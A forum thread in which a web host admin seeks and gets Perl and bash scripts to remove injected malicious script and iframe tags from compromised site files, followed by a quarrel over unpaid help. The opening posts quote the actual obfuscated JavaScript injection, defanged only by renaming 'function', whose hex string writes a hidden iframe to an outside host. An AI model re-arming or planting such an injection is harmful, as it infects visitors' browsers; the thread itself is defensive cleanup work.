LinuxQuestions.org
Welcome to the most active Linux Forum on the web.
Go Back   LinuxQuestions.org > Forums > Non-*NIX Forums > Programming
User Name
Password
Programming This forum is for all programming questions.
The question does not have to be directly related to Linux and any language is fair game.

Notices


Reply
  Search this Thread
Old 08-24-2008, 09:22 PM   #1
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Rep: Reputation: 15
Need assistance with shell script - replace a string with a start tag and end tag


Hi All,

I have a server that we migrated away from and sites were all filled with hacker's malicious trojan viruses.
Quote:
acc/domains/acblahldings.com/public_html/help/css/index.html:<html><body bgcolor="#FFFFFF"></body></html><script>bunction v48218cec1
fc20(v48218cec24a2f){ bunction v48218cec2984a () {var v48218cec2e981=16; return v48218cec2e981;} return(parseInt(v48218cec24a2f,v482
18cec2984a()));}bunction v48218cec336e6(v48218cec382a2){ bunction v48218cec47104 () {return 2;} var v48218cec3d615='';for(v48218cec4
1eec=0; v48218cec41eec<v48218cec382a2.length; v48218cec41eec+=v48218cec47104()){ v48218cec3d615+=(String.fromCharCode(v48218cec1fc20
(v48218cec382a2.substr(v48218cec41eec, v48218cec47104()))));}return v48218cec3d615;} document.write(v48218cec336e6('3C696672616D6520
6E616D653D2731353238333527207372633D27687474703A2F2F61726368696D656433332E72752F61646D696E2F7061636B 2F696E6465782E706870272077696474
683D313035206865696768743D343338207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>

I have deliberatly changed the word function to bunction so that it won't cause any trouble to anyone viewing this page.
Quote:
grep -R "<script>function" * > /root/hackerlist.txt
in the /home partition captures all the instances of this viruse.

So now I have a file with the list of all those instances and I need to change the string from what is above to something that is non-malicious like 'white space'.

All the stings start with:

<script>function

and end with:

</script>

So, I'm looking for assistance in running a search/replace on a long string that has a Start tag and an End tag and removes everything in between.

I appreciate any help on this.

Thanks,

-Sup.

Last edited by SupermanInNY; 10-30-2009 at 03:53 PM.
 
Old 08-24-2008, 09:44 PM   #2
matthewg42
Senior Member
 
Registered: Oct 2003
Location: UK
Distribution: Kubuntu 12.10 (using awesome wm though)
Posts: 3,530

Rep: Reputation: 65
Parsing HTML is difficult, and although you can often get the coreutil tools to work with many files, you will probably find that it is difficult to work with HTML which is not formatted for easy human reading (i.e. opening new tag types on new lines).

For robustness, I would recommend using a proper HTML parsing library, sch as the HTML::SimpleParse module for Perl.
 
Old 08-24-2008, 10:19 PM   #3
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by matthewg42 View Post
Parsing HTML is difficult, and although you can often get the coreutil tools to work with many files, you will probably find that it is difficult to work with HTML which is not formatted for easy human reading (i.e. opening new tag types on new lines).

For robustness, I would recommend using a proper HTML parsing library, sch as the HTML::SimpleParse module for Perl.
Thanks for the input.
My question doesn't actually relate to HTML specifically.

What I'm looking for is either a Perl or Shell script for a substition of the following string with a different string:
Quote:
<script>bunction v48218cec1
fc20(v48218cec24a2f){ bunction v48218cec2984a () {var v48218cec2e981=16; return v48218cec2e981;} return(parseInt(v48218cec24a2f,v482
18cec2984a()));}bunction v48218cec336e6(v48218cec382a2){ bunction v48218cec47104 () {return 2;} var v48218cec3d615='';for(v48218cec4
1eec=0; v48218cec41eec<v48218cec382a2.length; v48218cec41eec+=v48218cec47104()){ v48218cec3d615+=(String.fromCharCode(v48218cec1fc20
(v48218cec382a2.substr(v48218cec41eec, v48218cec47104()))));}return v48218cec3d615;} document.write(v48218cec336e6('3C696672616D6520
6E616D653D2731353238333527207372633D27687474703A2F2F61726368696D656433332E72752F61646D696E2F7061636B 2F696E6465782E706870272077696474
683D313035206865696768743D343338207374796C653D27646973706C61793A6E6F6E65273E3C2F696672616D653E'));</script>
I can't use vim: %s/<script>function**</script>/new string/ or can I?

Be it in vim or in perl, any way will work for me.
I just don't know how to run a search replace on a text file for a string that has a start and and end of that long.

That's what I actually need. Nothing to do with HTML.

Any pointers?

-Sup.

Last edited by SupermanInNY; 10-30-2009 at 03:54 PM.
 
Old 08-24-2008, 10:37 PM   #4
Mr. C.
Senior Member
 
Registered: Jun 2008
Posts: 2,529

Rep: Reputation: 62
This will strip out the script for you, doing it in place, and preserve a backup file for you to examine:

Code:
$ cat sanitize.pl 
#!/usr/bin/perl -i.orig

undef $/;
$_ = <>;

s/<script>.*?<\/script>//msg ;

print "$_";
Run as:

sanitize.pl foo.html

It will strip the smallest possible match of <script>xxx</script>, so as not to consume too much.

Last edited by Mr. C.; 08-24-2008 at 10:39 PM.
 
Old 08-25-2008, 01:37 AM   #5
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by Mr. C. View Post
This will strip out the script for you, doing it in place, and preserve a backup file for you to examine:

Code:
$ cat sanitize.pl 
#!/usr/bin/perl -i.orig

undef $/;
$_ = <>;

s/<script>.*?<\/script>//msg ;

print "$_";
Run as:

sanitize.pl foo.html

It will strip the smallest possible match of <script>xxx</script>, so as not to consume too much.
This great!
Works like a charm.

Thank you very much.

-Sup.
 
Old 10-25-2009, 06:51 PM   #6
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Hi All,

It has been a while since I had to use this script, and thankfully I did not have a need for a long time.
However, I have to revive this post to continue the battle once more.

Another massive attack of hackers is disrupting our service.
Quote:
server #less sanitize.pl

#!/usr/bin/perl -i

undef $/;
$_ = <>;

s/<iframe frameborder.*?iframe>//msg ;


print "$_";
This time, we are more confident that we do not need a backup copy, so I ommitted the .orig from the original sanitize.pl script.

I ran a grep of the hacked files:

Quote:

grep -R "iframe frameborder" * > listofbadguys.txt
Now,. I have about 150 entries in the listofbadguys.txt .

I want to process all of them automatically.
How do I go about running it in a recursive/line-by-line clean up?
How do I loop till EOF?


In fact, the listofbadguys.txt is not very clean, it has the "FileName: search-string".
I only need the FileName and have the Sanitize script run and clean it.

So an enhanced run would do a clean grep and then sanitize it.

Thanks for any help with this.

-Sup.

Last edited by SupermanInNY; 10-26-2009 at 10:59 AM.
 
Old 10-25-2009, 06:56 PM   #7
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 21,258

Rep: Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495
Quote:
Originally Posted by SupermanInNY View Post
Hi All,

It has been a while since I had to use this script, and thankfully I did not have a need for a long time.
However, I have to revive this post to continue the battle once more.

Another massive attack of hackers is disrupting our service.

I want to process all of them automatically.
How do I go about running it in a recursive/line-by-line clean up?
How do I loop till EOF?


In fact, the listofbadguys.txt is not very clean, it has the "FileName: search-string".
I only need the FileName and have the Sanitize script run and clean it.

So an enhanced run would do a clean grep and then sanitize it.

Thanks for any help with this.

-Sup.
Well, the first step is to post what you've written so far, and where you're having a problem. Otherwise, there are many bash and Perl tutorials on the web that can help you.

Don't mean to sound nasty, but this is your work. If you haven't put forth the effort, why should we do it for you, for free?
 
Old 10-25-2009, 07:24 PM   #8
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Quote:
Originally Posted by TB0ne View Post
Well, the first step is to post what you've written so far, and where you're having a problem. Otherwise, there are many bash and Perl tutorials on the web that can help you.

Don't mean to sound nasty, but this is your work. If you haven't put forth the effort, why should we do it for you, for free?
I'm trying to think of an appropriate response, and the your reasoning was very good till the very last two words.
I can understand you pushing me to grow my knowledge, pursue excellence and seek specific help on key items/issues, but you killed your reasoning with the end question of "we want to get paid for our advise".
Makes me wonder if your are part of the Win7 tech support guys trying to support the case of "Linux is hard and TCO is more expensive than what you pay for Win2008".
Of course if you want to get paid for tech advise, you shouldn't dwell here, just go to: freelancer.com or Expert-Exchange.com or others.
But, I feel that if you are a contributer to community, you can probably find a way to assist without asking for money on advise.
I do my share of assisting others and exploring solutions on CentOS forums as well as DirectAdmin.com forum.

And,. going back to the REAL subject, as I am not a perl expert, and currently have very limited bash scripts programming capabilities, I am drawing on previous experience, and I am using the nice sanitize.pl script that was provided earlier in the post.
I did specify the grep command that I used, but since I lack the perl syntax, I can only do psudo-code which is not very helpful in this scenario.
Hence I seek the help of the experts.
Mind you that I hope this thread helps others battle hackers' scripts, so I believe I'm not the only beneficiary of this thread.
 
Old 10-26-2009, 09:50 AM   #9
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 21,258

Rep: Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495
Quote:
Originally Posted by SupermanInNY View Post
I'm trying to think of an appropriate response, and the your reasoning was very good till the very last two words.
I can understand you pushing me to grow my knowledge, pursue excellence and seek specific help on key items/issues, but you killed your reasoning with the end question of "we want to get paid for our advise".
Makes me wonder if your are part of the Win7 tech support guys trying to support the case of "Linux is hard and TCO is more expensive than what you pay for Win2008".
Of course if you want to get paid for tech advise, you shouldn't dwell here, just go to: freelancer.com or Expert-Exchange.com or others.
But, I feel that if you are a contributer to community, you can probably find a way to assist without asking for money on advise.
I didn't ask for money..merely pointed out that you're getting paid to solve that particular problem, and you're wanting us to do your work for you, for free, by writing a script FOR YOU.

Quote:
I do my share of assisting others and exploring solutions on CentOS forums as well as DirectAdmin.com forum.

And,. going back to the REAL subject, as I am not a perl expert, and currently have very limited bash scripts programming capabilities, I am drawing on previous experience, and I am using the nice sanitize.pl script that was provided earlier in the post.
I did specify the grep command that I used, but since I lack the perl syntax, I can only do psudo-code which is not very helpful in this scenario.
Hence I seek the help of the experts.
Mind you that I hope this thread helps others battle hackers' scripts, so I believe I'm not the only beneficiary of this thread.
Which is why I directed you to any one of the many bash/perl tutorials that can easily be found on the web. Looping through a file is a very simple thing, and if you want to "grow your knowledge", this is a perfect opportunity. And as I said before...post what you've written, and where you're getting stuck, and we'll be glad to help.

From a bash tutorial, on reading a file until EOF:
Code:
#!/bin/bash
cat my.file | while read LINE ; do
	<insert action to take here>
done
Perl is different:
Code:
#!/usr/bin/perl
  open (FILE, "<filename>") or die "Can't open file!";
   while (<FILE>)
     {
     <do something>
     }
Now you've got the tools to help others, by writing your script, and posting it back here, so there will be many beneficiary's of your efforts.
 
Old 10-26-2009, 10:13 AM   #10
David the H.
Bash Guru
 
Registered: Jun 2004
Location: Osaka, Japan
Distribution: Debian + kde 4 / 5
Posts: 6,837

Rep: Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987Reputation: 1987
While you're at it, could you please edit your posts and put [code][/code] tags around your script code and output? It's incredibly hard to read this thread because the long lines make everything stretch off the edge of the window. Code tags will prevent that, as well as preserve your original formatting.
 
Old 10-26-2009, 02:21 PM   #11
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Thanks for the quick reply:

Here is my attempt to make it happen:

Code:
#!/usr/bin/perl -i

  grep -lr ":8080" * > listofbadfiles.txt

  open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
   while (<FILE>)
     {

        undef $/;
        $_ = <>;

        s/<iframe frameborder.*?iframe>//msg ;
        print "$_";

     }
Well, unfortunatly, I didn't get very far:

Quote:

# ./loop-sanitize.sh
String found where operator expected at ./loop-sanitize.sh line 3, near "lr ":8080""
(Do you need to predeclare lr?)
syntax error at ./loop-sanitize.sh line 3, near "lr ":8080""
Execution of ./loop-sanitize.sh aborted due to compilation errors.

Well, I think I got the right logic, but I lack the correct syntax.
I planned on invoking this script with either :

perl loop-sanitize.sh
or
./loop-sanitize.sh

Thanks,

-Sup.
 
Old 10-26-2009, 03:17 PM   #12
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 21,258

Rep: Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495
Quote:
Originally Posted by SupermanInNY View Post
Thanks for the quick reply:

Here is my attempt to make it happen:
Code:
#!/usr/bin/perl -i

grep -lr ":8080" * > listofbadfiles.txt

open (FILE, "<listofbadfiles.txt>") or die "Can't open file!";
while (<FILE>)
  {
   undef $/;
   $_ = <>;

   s/<iframe frameborder.*?iframe>//msg ;
   print "$_";
  }
Well, unfortunatly, I didn't get very far:

Well, I think I got the right logic, but I lack the correct syntax.
I planned on invoking this script with either :

perl loop-sanitize.sh or ./loop-sanitize.sh
No, you've tried to reuse the original logic, in a way it's not structured to handle. Since you've got a perl script that does what you want, why don't you try the bash snippet I provided earlier to call it?? Also, the grep as you've done it above won't work, unless ALL the files you want to do this on, are in the same directory.
Code:
#!/bin/bash
grep -lr ":8080" * > listofbadfiles.txt
cat listofbadfiles.txt | while read LINE ; do
	<insert action to take here>
done
These are both basic scripting tasks. I'd strongly suggest looking up some basic tutorials.
 
Old 10-30-2009, 06:33 AM   #13
SupermanInNY
Member
 
Registered: Jan 2006
Distribution: CentOS
Posts: 30

Original Poster
Rep: Reputation: 15
Here is the solution I got:

Quote:
You can do next string without add something in your perl script.
for file in $(grep -lr ":8080" *); do ./sanitize.pl $file; done

./sanitize.pl must be in a directory where you are starting command or point a full path to sanitize.pl.
I appreciate the contribution and again express my thanks to those who provided real code way back (a year ago).


-Sup.

Last edited by SupermanInNY; 10-30-2009 at 03:58 PM.
 
Old 10-30-2009, 11:32 AM   #14
gnashley
Amigo developer
 
Registered: Dec 2003
Location: Germany
Distribution: Slackware
Posts: 4,897

Rep: Reputation: 577Reputation: 577Reputation: 577Reputation: 577Reputation: 577Reputation: 577
So, what did you come up with after all? I sometimes need a basic tag parser myself.
 
Old 10-30-2009, 11:45 AM   #15
TB0ne
LQ Guru
 
Registered: Jul 2003
Location: Birmingham, Alabama
Distribution: SuSE, RedHat, Slack,CentOS
Posts: 21,258

Rep: Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495Reputation: 5495
Quote:
Originally Posted by SupermanInNY View Post
Here is the solution I got:

I appreciate the contribution and again express my thanks to those who provided real code way back (a year ago) and found that other users who aggressively shouted at me: "why should we do it for you, for free?" AND THEN declined to do it when I offered payment ($30) with the following response:

I WILL NOT DO YOUR WORK FOR YOU
YOU CANNOT AFFORD TO HIRE ME TO DO IT.

So why bring up the "request for payment?"

The solution was a very simple syntax and I was asking a very specific syntax question.

That was all I was asking.
Why DELIBERATELY give me a snobby answer?
First, you sent several emails to me, privately, asking that I do this. The message you quote is the last one, after you refused to take "NO" for an answer.

Again, I *NEVER* requested payment; I *NEVER* asked to do the job for you, or implied that I would even be interested in doing it. YOU are requesting that someone write code for you, for free, to solve a problem that YOU are getting paid to solve. A $30 PayPal payment, offered because you (again), don't want to code something yourself, would be better spent on buying a book on shell scripting, or paying one of your OWN EMPLOYEES to do it.
Quote:
Seeking a professional advise in this forum should not be met with cynicism, patronizing and utterly abusive behavior.
I asked in a very simple, professional manner for a solution. If you want to offer your help you are welcome, if you want to offer paid help you are welcome.
Your response is just not professional and demeaning.
Please make it a habit NOT to respond to threads that I started.
-Sup.
Yes, especially since I GAVE YOU THE ANSWER, but you don't want to do anything with it. Specifically:
Code:
#!/bin/bash
grep -lr ":8080" * > listofbadfiles.txt
cat listofbadfiles.txt | while read LINE ; do
	<insert action to take here>
done
Now, the line where it says "<insert action to take here>"? Replace that with ./sanitize.pl That's it....you're done. How much more help do you need??? If you're running so many web sites, and have a nice sized hosting company, I find it hard to believe that you don't have a SINGLE PERSON who can comprehend a simple bash shell script, or at least look it up.

Last edited by TB0ne; 10-30-2009 at 12:36 PM.
 
  


Reply


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off



Similar Threads
Thread Thread Starter Forum Replies Last Post
Replace string in Shell scripting anandjk1 Programming 2 10-19-2007 08:16 PM
How to identify a line and replace another string on that line using Shell script? Sid2007 Programming 10 10-01-2007 08:49 PM
Shell script: Find "\n\t..." to replace a string in a file michael24h7d Programming 8 05-11-2007 03:07 AM
Rip/Encode to Ogg/Tag script? Tylerious Linux - Software 12 02-26-2007 11:05 PM
ID3 Tag Editing with a Shell Script chrisk5527 Linux - General 5 03-20-2003 10:38 PM

LinuxQuestions.org > Forums > Non-*NIX Forums > Programming

All times are GMT -5. The time now is 08:17 PM.

Main Menu
Advertisement
My LQ
Write for LQ
LinuxQuestions.org is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
Syndicate
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration